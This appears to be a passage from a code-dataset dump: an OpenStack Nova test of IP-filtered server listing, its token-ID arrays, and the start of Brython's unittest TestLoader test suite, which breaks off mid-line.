# Copyright 2017 IBM Corp. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import time import nova.scheduler.utils import nova.servicegroup from nova import test from nova.tests import fixtures as nova_fixtures from nova.tests.unit import cast_as_call import nova.tests.unit.image.fake from nova.tests.unit import policy_fixture class TestListServersIpFilter(test.TestCase): def setUp(self): super(TestListServersIpFilter, self).setUp() self.useFixture(policy_fixture.RealPolicyFixture()) self.neutron = self.useFixture( nova_fixtures.NeutronFixture(self, multiple_ports=True)) api_fixture = self.useFixture(nova_fixtures.OSAPIFixture( api_version='v2.1')) self.api = api_fixture.api # the image fake backend needed for image discovery nova.tests.unit.image.fake.stub_out_image_service(self) self.start_service('conductor') # Use the chance scheduler to bypass filtering and just pick the single # compute host that we have. self.flags(driver='chance_scheduler', group='scheduler') self.start_service('scheduler') self.start_service('compute') self.start_service('consoleauth') self.useFixture(cast_as_call.CastAsCall(self.stubs)) self.image_id = self.api.get_images()[0]['id'] self.flavor_id = self.api.get_flavors()[0]['id'] def wait_until_active_or_timeout(self, server_id): timeout = 0.0 server = self.api.get_server(server_id) while server['status'] != "ACTIVE" and timeout < 10.0: time.sleep(.1) timeout += .1 server = self.api.get_server(server_id) if server['status'] != "ACTIVE": self.fail( 'Timed out waiting for server %s to be ACTIVE.' % server_id) return server def test_list_servers_with_ip_filters_regex(self): """Tests listing servers with IP filter regex. The compute API will perform a regex match on the ip filter and include all servers that have fixed IPs which match the filter. For example, consider we have two servers. The first server has IP 10.1.1.1 and the second server has IP 10.1.1.10. If we list servers with filter ip=10.1.1.1 we should get back both servers because 10.1.1.1 is a prefix of 10.1.1.10. If we list servers with filter ip=10.1.1.10 then we should only get back the second server. """ # We're going to create two servers with unique ports, but the IPs on # the ports are close enough that one matches the regex for the other. # The ports used in this test are defined in the NeutronFixture. for port_id in (self.neutron.port_1['id'], self.neutron.port_2['id']): server = dict( name=port_id, imageRef=self.image_id, flavorRef=self.flavor_id, networks=[{'port': port_id}]) server = self.api.post_server({'server': server}) self.addCleanup(self.api.delete_server, server['id']) self.wait_until_active_or_timeout(server['id']) # Now list servers and filter on the IP of the first server. servers = self.api.get_servers( search_opts={ 'ip': self.neutron.port_1['fixed_ips'][0]['ip_address']}) # We should get both servers back because the IP on the first server is # a prefix of the IP on the second server. self.assertEqual(2, len(servers), 'Unexpected number of servers returned when ' 'filtering by ip=%s: %s' % ( self.neutron.port_1['fixed_ips'][0]['ip_address'], servers)) # Now list servers and filter on the IP of the second server. servers = self.api.get_servers( search_opts={ 'ip': self.neutron.port_2['fixed_ips'][0]['ip_address']}) # We should get one server back because the IP on the second server is # unique between both servers. self.assertEqual(1, len(servers), 'Unexpected number of servers returned when ' 'filtering by ip=%s: %s' % ( self.neutron.port_2['fixed_ips'][0]['ip_address'], servers)) self.assertEqual(self.neutron.port_2['fixed_ips'][0]['ip_address'], servers[0]['addresses']['private-network'][0]['addr'])
apache-2.0
[ 3, 1898, 9708, 26202, 22304, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 646, 900, 199, 199, 646, 5913, 14, 8874, 14, 1208, 199, 646, 5913, 14, 29409, 199, 504, 5913, 492, 511, 199, 504, 5913, 14, 2219, 492, 15188, 465, 5913, 63, 8769, 199, 504, 5913, 14, 2219, 14, 3248, 492, 9106, 63, 305, 63, 1250, 199, 646, 5913, 14, 2219, 14, 3248, 14, 1569, 14, 3183, 199, 504, 5913, 14, 2219, 14, 3248, 492, 4592, 63, 5997, 421, 199, 533, 1379, 1296, 23637, 6583, 4131, 8, 396, 14, 1746, 304, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 1296, 23637, 6583, 4131, 12, 291, 680, 5996, 342, 267, 291, 14, 31015, 8, 3185, 63, 5997, 14, 10099, 4845, 12812, 1012, 267, 291, 14, 10271, 275, 291, 14, 31015, 8, 288, 5913, 63, 8769, 14, 20915, 12812, 8, 277, 12, 3663, 63, 5203, 29, 549, 430, 267, 2986, 63, 5997, 275, 291, 14, 31015, 8, 6765, 63, 8769, 14, 3100, 3735, 12812, 8, 288, 2986, 63, 1023, 534, 86, 18, 14, 17, 1333, 267, 291, 14, 1246, 275, 2986, 63, 5997, 14, 1246, 398, 327, 314, 1834, 4026, 4865, 4346, 367, 1834, 13172, 267, 5913, 14, 2219, 14, 3248, 14, 1569, 14, 3183, 14, 5811, 63, 548, 63, 1569, 63, 1364, 8, 277, 9, 398, 291, 14, 928, 63, 1364, 360, 28678, 358, 267, 327, 3645, 314, 22044, 11899, 370, 21115, 14545, 436, 2951, 3732, 314, 2849, 267, 327, 4526, 1591, 626, 781, 1172, 14, 267, 291, 14, 2469, 8, 3090, 534, 335, 554, 63, 8874, 297, 1572, 534, 8874, 358, 267, 291, 14, 928, 63, 1364, 360, 8874, 358, 267, 291, 14, 928, 63, 1364, 360, 3357, 358, 267, 291, 14, 928, 63, 1364, 360, 6614, 1178, 358, 398, 291, 14, 31015, 8, 2931, 63, 305, 63, 1250, 14, 24654, 2822, 2176, 8, 277, 14, 8957, 430, 398, 291, 14, 1569, 63, 344, 275, 291, 14, 1246, 14, 362, 63, 4782, 3430, 16, 2733, 344, 418, 267, 291, 14, 6081, 63, 344, 275, 291, 14, 1246, 14, 362, 63, 18664, 3430, 16, 2733, 344, 418, 339, 347, 3618, 63, 8111, 63, 2682, 63, 269, 63, 2593, 8, 277, 12, 1654, 63, 344, 304, 267, 2653, 275, 378, 14, 16, 267, 1654, 275, 291, 14, 1246, 14, 362, 63, 1000, 8, 1000, 63, 344, 9, 267, 1830, 1654, 459, 1205, 418, 1137, 298, 10401, 2, 436, 2653, 665, 1616, 14, 16, 26, 288, 900, 14, 4532, 13417, 17, 9, 288, 2653, 847, 1275, 17, 288, 1654, 275, 291, 14, 1246, 14, 362, 63, 1000, 8, 1000, 63, 344, 9, 267, 340, 1654, 459, 1205, 418, 1137, 298, 10401, 582, 288, 291, 14, 1633, 8, 355, 283, 28682, 734, 10923, 367, 1654, 450, 83, 370, 506, 26577, 3530, 450, 1654, 63, 344, 9, 267, 372, 1654, 339, 347, 511, 63, 513, 63, 5871, 63, 1045, 63, 711, 63, 4273, 63, 3821, 8, 277, 304, 267, 408, 2925, 13778, 8037, 543, 3531, 2457, 5163, 14, 398, 710, 4526, 3261, 911, 5147, 282, 5163, 1336, 641, 314, 3384, 2457, 436, 2387, 267, 1006, 8037, 626, 1172, 6317, 30657, 1314, 1336, 314, 2457, 14, 398, 2104, 2893, 12, 11201, 781, 1172, 2877, 8037, 14, 710, 1642, 1654, 965, 3531, 267, 1616, 14, 17, 14, 17, 14, 17, 436, 314, 3499, 1654, 965, 3531, 1616, 14, 17, 14, 17, 14, 709, 14, 982, 781, 769, 8037, 267, 543, 2457, 3384, 29, 709, 14, 17, 14, 17, 14, 17, 781, 1077, 664, 1771, 3865, 8037, 2952, 267, 1616, 14, 17, 14, 17, 14, 17, 365, 282, 2403, 402, 1616, 14, 17, 14, 17, 14, 709, 14, 982, 781, 769, 8037, 543, 2457, 267, 3384, 29, 709, 14, 17, 14, 17, 14, 709, 2066, 781, 1077, 1454, 664, 1771, 314, 3499, 1654, 14, 267, 408, 398, 327, 2136, 3984, 9995, 370, 1218, 2877, 8037, 543, 3747, 8873, 12, 1325, 314, 30657, 641, 267, 327, 314, 8873, 787, 4002, 8321, 626, 1373, 4450, 314, 5163, 367, 314, 1163, 14, 267, 327, 710, 8873, 1202, 315, 642, 511, 787, 3247, 315, 314, 30422, 12812, 14, 267, 367, 1844, 63, 344, 315, 334, 277, 14, 10271, 14, 719, 63, 17, 459, 344, 995, 291, 14, 10271, 14, 719, 63, 18, 459, 344, 9090, 288, 1654, 275, 1211, 8, 355, 536, 29, 719, 63, 344, 12, 1834, 2891, 29, 277, 14, 1569, 63, 344, 12, 8541, 2891, 29, 277, 14, 6081, 63, 344, 12, 355, 11759, 1524, 1445, 719, 356, 1844, 63, 344, 29810, 288, 1654, 275, 291, 14, 1246, 14, 1932, 63, 1000, 3252, 1000, 356, 1654, 1552, 288, 291, 14, 12808, 8, 277, 14, 1246, 14, 1807, 63, 1000, 12, 1654, 459, 344, 1105, 288, 291, 14, 2573, 63, 8111, 63, 2682, 63, 269, 63, 2593, 8, 1000, 459, 344, 1105, 398, 327, 7356, 769, 8037, 436, 2457, 641, 314, 3531, 402, 314, 1642, 1654, 14, 267, 8037, 275, 291, 14, 1246, 14, 362, 63, 5871, 8, 288, 2754, 63, 3291, 3126, 355, 283, 711, 356, 291, 14, 10271, 14, 719, 63, 17, 459, 5964, 63, 6142, 3488, 16, 2733, 711, 63, 1562, 13678, 398, 327, 2136, 1077, 664, 3865, 8037, 1771, 2952, 314, 3531, 641, 314, 1642, 1654, 365, 267, 327, 282, 2403, 402, 314, 3531, 641, 314, 3499, 1654, 14, 267, 291, 14, 629, 8, 18, 12, 822, 8, 5871, 395, 586, 283, 8708, 1329, 402, 8037, 2138, 1380, 283, 586, 283 ]
[ 1898, 9708, 26202, 22304, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 420, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 199, 646, 900, 199, 199, 646, 5913, 14, 8874, 14, 1208, 199, 646, 5913, 14, 29409, 199, 504, 5913, 492, 511, 199, 504, 5913, 14, 2219, 492, 15188, 465, 5913, 63, 8769, 199, 504, 5913, 14, 2219, 14, 3248, 492, 9106, 63, 305, 63, 1250, 199, 646, 5913, 14, 2219, 14, 3248, 14, 1569, 14, 3183, 199, 504, 5913, 14, 2219, 14, 3248, 492, 4592, 63, 5997, 421, 199, 533, 1379, 1296, 23637, 6583, 4131, 8, 396, 14, 1746, 304, 339, 347, 3613, 8, 277, 304, 267, 1613, 8, 774, 1296, 23637, 6583, 4131, 12, 291, 680, 5996, 342, 267, 291, 14, 31015, 8, 3185, 63, 5997, 14, 10099, 4845, 12812, 1012, 267, 291, 14, 10271, 275, 291, 14, 31015, 8, 288, 5913, 63, 8769, 14, 20915, 12812, 8, 277, 12, 3663, 63, 5203, 29, 549, 430, 267, 2986, 63, 5997, 275, 291, 14, 31015, 8, 6765, 63, 8769, 14, 3100, 3735, 12812, 8, 288, 2986, 63, 1023, 534, 86, 18, 14, 17, 1333, 267, 291, 14, 1246, 275, 2986, 63, 5997, 14, 1246, 398, 327, 314, 1834, 4026, 4865, 4346, 367, 1834, 13172, 267, 5913, 14, 2219, 14, 3248, 14, 1569, 14, 3183, 14, 5811, 63, 548, 63, 1569, 63, 1364, 8, 277, 9, 398, 291, 14, 928, 63, 1364, 360, 28678, 358, 267, 327, 3645, 314, 22044, 11899, 370, 21115, 14545, 436, 2951, 3732, 314, 2849, 267, 327, 4526, 1591, 626, 781, 1172, 14, 267, 291, 14, 2469, 8, 3090, 534, 335, 554, 63, 8874, 297, 1572, 534, 8874, 358, 267, 291, 14, 928, 63, 1364, 360, 8874, 358, 267, 291, 14, 928, 63, 1364, 360, 3357, 358, 267, 291, 14, 928, 63, 1364, 360, 6614, 1178, 358, 398, 291, 14, 31015, 8, 2931, 63, 305, 63, 1250, 14, 24654, 2822, 2176, 8, 277, 14, 8957, 430, 398, 291, 14, 1569, 63, 344, 275, 291, 14, 1246, 14, 362, 63, 4782, 3430, 16, 2733, 344, 418, 267, 291, 14, 6081, 63, 344, 275, 291, 14, 1246, 14, 362, 63, 18664, 3430, 16, 2733, 344, 418, 339, 347, 3618, 63, 8111, 63, 2682, 63, 269, 63, 2593, 8, 277, 12, 1654, 63, 344, 304, 267, 2653, 275, 378, 14, 16, 267, 1654, 275, 291, 14, 1246, 14, 362, 63, 1000, 8, 1000, 63, 344, 9, 267, 1830, 1654, 459, 1205, 418, 1137, 298, 10401, 2, 436, 2653, 665, 1616, 14, 16, 26, 288, 900, 14, 4532, 13417, 17, 9, 288, 2653, 847, 1275, 17, 288, 1654, 275, 291, 14, 1246, 14, 362, 63, 1000, 8, 1000, 63, 344, 9, 267, 340, 1654, 459, 1205, 418, 1137, 298, 10401, 582, 288, 291, 14, 1633, 8, 355, 283, 28682, 734, 10923, 367, 1654, 450, 83, 370, 506, 26577, 3530, 450, 1654, 63, 344, 9, 267, 372, 1654, 339, 347, 511, 63, 513, 63, 5871, 63, 1045, 63, 711, 63, 4273, 63, 3821, 8, 277, 304, 267, 408, 2925, 13778, 8037, 543, 3531, 2457, 5163, 14, 398, 710, 4526, 3261, 911, 5147, 282, 5163, 1336, 641, 314, 3384, 2457, 436, 2387, 267, 1006, 8037, 626, 1172, 6317, 30657, 1314, 1336, 314, 2457, 14, 398, 2104, 2893, 12, 11201, 781, 1172, 2877, 8037, 14, 710, 1642, 1654, 965, 3531, 267, 1616, 14, 17, 14, 17, 14, 17, 436, 314, 3499, 1654, 965, 3531, 1616, 14, 17, 14, 17, 14, 709, 14, 982, 781, 769, 8037, 267, 543, 2457, 3384, 29, 709, 14, 17, 14, 17, 14, 17, 781, 1077, 664, 1771, 3865, 8037, 2952, 267, 1616, 14, 17, 14, 17, 14, 17, 365, 282, 2403, 402, 1616, 14, 17, 14, 17, 14, 709, 14, 982, 781, 769, 8037, 543, 2457, 267, 3384, 29, 709, 14, 17, 14, 17, 14, 709, 2066, 781, 1077, 1454, 664, 1771, 314, 3499, 1654, 14, 267, 408, 398, 327, 2136, 3984, 9995, 370, 1218, 2877, 8037, 543, 3747, 8873, 12, 1325, 314, 30657, 641, 267, 327, 314, 8873, 787, 4002, 8321, 626, 1373, 4450, 314, 5163, 367, 314, 1163, 14, 267, 327, 710, 8873, 1202, 315, 642, 511, 787, 3247, 315, 314, 30422, 12812, 14, 267, 367, 1844, 63, 344, 315, 334, 277, 14, 10271, 14, 719, 63, 17, 459, 344, 995, 291, 14, 10271, 14, 719, 63, 18, 459, 344, 9090, 288, 1654, 275, 1211, 8, 355, 536, 29, 719, 63, 344, 12, 1834, 2891, 29, 277, 14, 1569, 63, 344, 12, 8541, 2891, 29, 277, 14, 6081, 63, 344, 12, 355, 11759, 1524, 1445, 719, 356, 1844, 63, 344, 29810, 288, 1654, 275, 291, 14, 1246, 14, 1932, 63, 1000, 3252, 1000, 356, 1654, 1552, 288, 291, 14, 12808, 8, 277, 14, 1246, 14, 1807, 63, 1000, 12, 1654, 459, 344, 1105, 288, 291, 14, 2573, 63, 8111, 63, 2682, 63, 269, 63, 2593, 8, 1000, 459, 344, 1105, 398, 327, 7356, 769, 8037, 436, 2457, 641, 314, 3531, 402, 314, 1642, 1654, 14, 267, 8037, 275, 291, 14, 1246, 14, 362, 63, 5871, 8, 288, 2754, 63, 3291, 3126, 355, 283, 711, 356, 291, 14, 10271, 14, 719, 63, 17, 459, 5964, 63, 6142, 3488, 16, 2733, 711, 63, 1562, 13678, 398, 327, 2136, 1077, 664, 3865, 8037, 1771, 2952, 314, 3531, 641, 314, 1642, 1654, 365, 267, 327, 282, 2403, 402, 314, 3531, 641, 314, 3499, 1654, 14, 267, 291, 14, 629, 8, 18, 12, 822, 8, 5871, 395, 586, 283, 8708, 1329, 402, 8037, 2138, 1380, 283, 586, 283, 0 ]
[ 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]
40023255/-w16b_test
static/Brython3.1.1-20150328-091302/Lib/unittest/test/test_loader.py
738
49593
import sys import types import unittest class Test_TestLoader(unittest.TestCase): ### Tests for TestLoader.loadTestsFromTestCase ################################################################ # "Return a suite of all tests cases contained in the TestCase-derived # class testCaseClass" def test_loadTestsFromTestCase(self): class Foo(unittest.TestCase): def test_1(self): pass def test_2(self): pass def foo_bar(self): pass tests = unittest.TestSuite([Foo('test_1'), Foo('test_2')]) loader = unittest.TestLoader() self.assertEqual(loader.loadTestsFromTestCase(Foo), tests) # "Return a suite of all tests cases contained in the TestCase-derived # class testCaseClass" # # Make sure it does the right thing even if no tests were found def test_loadTestsFromTestCase__no_matches(self): class Foo(unittest.TestCase): def foo_bar(self): pass empty_suite = unittest.TestSuite() loader = unittest.TestLoader() self.assertEqual(loader.loadTestsFromTestCase(Foo), empty_suite) # "Return a suite of all tests cases contained in the TestCase-derived # class testCaseClass" # # What happens if loadTestsFromTestCase() is given an object # that isn't a subclass of TestCase? Specifically, what happens # if testCaseClass is a subclass of TestSuite? # # This is checked for specifically in the code, so we better add a # test for it. def test_loadTestsFromTestCase__TestSuite_subclass(self): class NotATestCase(unittest.TestSuite): pass loader = unittest.TestLoader() try: loader.loadTestsFromTestCase(NotATestCase) except TypeError: pass else: self.fail('Should raise TypeError') # "Return a suite of all tests cases contained in the TestCase-derived # class testCaseClass" # # Make sure loadTestsFromTestCase() picks up the default test method # name (as specified by TestCase), even though the method name does # not match the default TestLoader.testMethodPrefix string def test_loadTestsFromTestCase__default_method_name(self): class Foo(unittest.TestCase): def runTest(self): pass loader = unittest.TestLoader() # This has to be false for the test to succeed self.assertFalse('runTest'.startswith(loader.testMethodPrefix)) suite = loader.loadTestsFromTestCase(Foo) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [Foo('runTest')]) ################################################################ ### /Tests for TestLoader.loadTestsFromTestCase ### Tests for TestLoader.loadTestsFromModule ################################################################ # "This method searches `module` for classes derived from TestCase" def test_loadTestsFromModule__TestCase_subclass(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromModule(m) self.assertIsInstance(suite, loader.suiteClass) expected = [loader.suiteClass([MyTestCase('test')])] self.assertEqual(list(suite), expected) # "This method searches `module` for classes derived from TestCase" # # What happens if no tests are found (no TestCase instances)? def test_loadTestsFromModule__no_TestCase_instances(self): m = types.ModuleType('m') loader = unittest.TestLoader() suite = loader.loadTestsFromModule(m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), []) # "This method searches `module` for classes derived from TestCase" # # What happens if no tests are found (TestCases instances, but no tests)? def test_loadTestsFromModule__no_TestCase_tests(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromModule(m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [loader.suiteClass()]) # "This method searches `module` for classes derived from TestCase"s # # What happens if loadTestsFromModule() is given something other # than a module? # # XXX Currently, it succeeds anyway. This flexibility # should either be documented or loadTestsFromModule() should # raise a TypeError # # XXX Certain people are using this behaviour. We'll add a test for it def test_loadTestsFromModule__not_a_module(self): class MyTestCase(unittest.TestCase): def test(self): pass class NotAModule(object): test_2 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromModule(NotAModule) reference = [unittest.TestSuite([MyTestCase('test')])] self.assertEqual(list(suite), reference) # Check that loadTestsFromModule honors (or not) a module # with a load_tests function. def test_loadTestsFromModule__load_tests(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase load_tests_args = [] def load_tests(loader, tests, pattern): self.assertIsInstance(tests, unittest.TestSuite) load_tests_args.extend((loader, tests, pattern)) return tests m.load_tests = load_tests loader = unittest.TestLoader() suite = loader.loadTestsFromModule(m) self.assertIsInstance(suite, unittest.TestSuite) self.assertEqual(load_tests_args, [loader, suite, None]) load_tests_args = [] suite = loader.loadTestsFromModule(m, use_load_tests=False) self.assertEqual(load_tests_args, []) def test_loadTestsFromModule__faulty_load_tests(self): m = types.ModuleType('m') def load_tests(loader, tests, pattern): raise TypeError('some failure') m.load_tests = load_tests loader = unittest.TestLoader() suite = loader.loadTestsFromModule(m) self.assertIsInstance(suite, unittest.TestSuite) self.assertEqual(suite.countTestCases(), 1) test = list(suite)[0] self.assertRaisesRegex(TypeError, "some failure", test.m) ################################################################ ### /Tests for TestLoader.loadTestsFromModule() ### Tests for TestLoader.loadTestsFromName() ################################################################ # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # Is ValueError raised in response to an empty name? def test_loadTestsFromName__empty_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromName('') except ValueError as e: self.assertEqual(str(e), "Empty module name") else: self.fail("TestLoader.loadTestsFromName failed to raise ValueError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # What happens when the name contains invalid characters? def test_loadTestsFromName__malformed_name(self): loader = unittest.TestLoader() # XXX Should this raise ValueError or ImportError? try: loader.loadTestsFromName('abc () //') except ValueError: pass except ImportError: pass else: self.fail("TestLoader.loadTestsFromName failed to raise ValueError") # "The specifier name is a ``dotted name'' that may resolve ... to a # module" # # What happens when a module by that name can't be found? def test_loadTestsFromName__unknown_module_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromName('sdasfasfasdf') except ImportError as e: self.assertEqual(str(e), "No module named 'sdasfasfasdf'") else: self.fail("TestLoader.loadTestsFromName failed to raise ImportError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # What happens when the module is found, but the attribute can't? def test_loadTestsFromName__unknown_attr_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromName('unittest.sdasfasfasdf') except AttributeError as e: self.assertEqual(str(e), "'module' object has no attribute 'sdasfasfasdf'") else: self.fail("TestLoader.loadTestsFromName failed to raise AttributeError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # What happens when we provide the module, but the attribute can't be # found? def test_loadTestsFromName__relative_unknown_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromName('sdasfasfasdf', unittest) except AttributeError as e: self.assertEqual(str(e), "'module' object has no attribute 'sdasfasfasdf'") else: self.fail("TestLoader.loadTestsFromName failed to raise AttributeError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # ... # "The method optionally resolves name relative to the given module" # # Does loadTestsFromName raise ValueError when passed an empty # name relative to a provided module? # # XXX Should probably raise a ValueError instead of an AttributeError def test_loadTestsFromName__relative_empty_name(self): loader = unittest.TestLoader() try: loader.loadTestsFromName('', unittest) except AttributeError as e: pass else: self.fail("Failed to raise AttributeError") # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # ... # "The method optionally resolves name relative to the given module" # # What happens when an impossible name is given, relative to the provided # `module`? def test_loadTestsFromName__relative_malformed_name(self): loader = unittest.TestLoader() # XXX Should this raise AttributeError or ValueError? try: loader.loadTestsFromName('abc () //', unittest) except ValueError: pass except AttributeError: pass else: self.fail("TestLoader.loadTestsFromName failed to raise ValueError") # "The method optionally resolves name relative to the given module" # # Does loadTestsFromName raise TypeError when the `module` argument # isn't a module object? # # XXX Accepts the not-a-module object, ignorning the object's type # This should raise an exception or the method name should be changed # # XXX Some people are relying on this, so keep it for now def test_loadTestsFromName__relative_not_a_module(self): class MyTestCase(unittest.TestCase): def test(self): pass class NotAModule(object): test_2 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromName('test_2', NotAModule) reference = [MyTestCase('test')] self.assertEqual(list(suite), reference) # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # Does it raise an exception if the name resolves to an invalid # object? def test_loadTestsFromName__relative_bad_object(self): m = types.ModuleType('m') m.testcase_1 = object() loader = unittest.TestLoader() try: loader.loadTestsFromName('testcase_1', m) except TypeError: pass else: self.fail("Should have raised TypeError") # "The specifier name is a ``dotted name'' that may # resolve either to ... a test case class" def test_loadTestsFromName__relative_TestCase_subclass(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromName('testcase_1', m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [MyTestCase('test')]) # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." def test_loadTestsFromName__relative_TestSuite(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testsuite = unittest.TestSuite([MyTestCase('test')]) loader = unittest.TestLoader() suite = loader.loadTestsFromName('testsuite', m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [MyTestCase('test')]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a test method within a test case class" def test_loadTestsFromName__relative_testmethod(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() suite = loader.loadTestsFromName('testcase_1.test', m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [MyTestCase('test')]) # "The specifier name is a ``dotted name'' that may resolve either to # a module, a test case class, a TestSuite instance, a test method # within a test case class, or a callable object which returns a # TestCase or TestSuite instance." # # Does loadTestsFromName() raise the proper exception when trying to # resolve "a test method within a test case class" that doesn't exist # for the given name (relative to a provided module)? def test_loadTestsFromName__relative_invalid_testmethod(self): m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() try: loader.loadTestsFromName('testcase_1.testfoo', m) except AttributeError as e: self.assertEqual(str(e), "type object 'MyTestCase' has no attribute 'testfoo'") else: self.fail("Failed to raise AttributeError") # "The specifier name is a ``dotted name'' that may resolve ... to # ... a callable object which returns a ... TestSuite instance" def test_loadTestsFromName__callable__TestSuite(self): m = types.ModuleType('m') testcase_1 = unittest.FunctionTestCase(lambda: None) testcase_2 = unittest.FunctionTestCase(lambda: None) def return_TestSuite(): return unittest.TestSuite([testcase_1, testcase_2]) m.return_TestSuite = return_TestSuite loader = unittest.TestLoader() suite = loader.loadTestsFromName('return_TestSuite', m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [testcase_1, testcase_2]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a callable object which returns a TestCase ... instance" def test_loadTestsFromName__callable__TestCase_instance(self): m = types.ModuleType('m') testcase_1 = unittest.FunctionTestCase(lambda: None) def return_TestCase(): return testcase_1 m.return_TestCase = return_TestCase loader = unittest.TestLoader() suite = loader.loadTestsFromName('return_TestCase', m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [testcase_1]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a callable object which returns a TestCase ... instance" #***************************************************************** #Override the suiteClass attribute to ensure that the suiteClass #attribute is used def test_loadTestsFromName__callable__TestCase_instance_ProperSuiteClass(self): class SubTestSuite(unittest.TestSuite): pass m = types.ModuleType('m') testcase_1 = unittest.FunctionTestCase(lambda: None) def return_TestCase(): return testcase_1 m.return_TestCase = return_TestCase loader = unittest.TestLoader() loader.suiteClass = SubTestSuite suite = loader.loadTestsFromName('return_TestCase', m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [testcase_1]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a test method within a test case class" #***************************************************************** #Override the suiteClass attribute to ensure that the suiteClass #attribute is used def test_loadTestsFromName__relative_testmethod_ProperSuiteClass(self): class SubTestSuite(unittest.TestSuite): pass m = types.ModuleType('m') class MyTestCase(unittest.TestCase): def test(self): pass m.testcase_1 = MyTestCase loader = unittest.TestLoader() loader.suiteClass=SubTestSuite suite = loader.loadTestsFromName('testcase_1.test', m) self.assertIsInstance(suite, loader.suiteClass) self.assertEqual(list(suite), [MyTestCase('test')]) # "The specifier name is a ``dotted name'' that may resolve ... to # ... a callable object which returns a TestCase or TestSuite instance" # # What happens if the callable returns something else? def test_loadTestsFromName__callable__wrong_type(self): m = types.ModuleType('m') def return_wrong(): return 6 m.return_wrong = 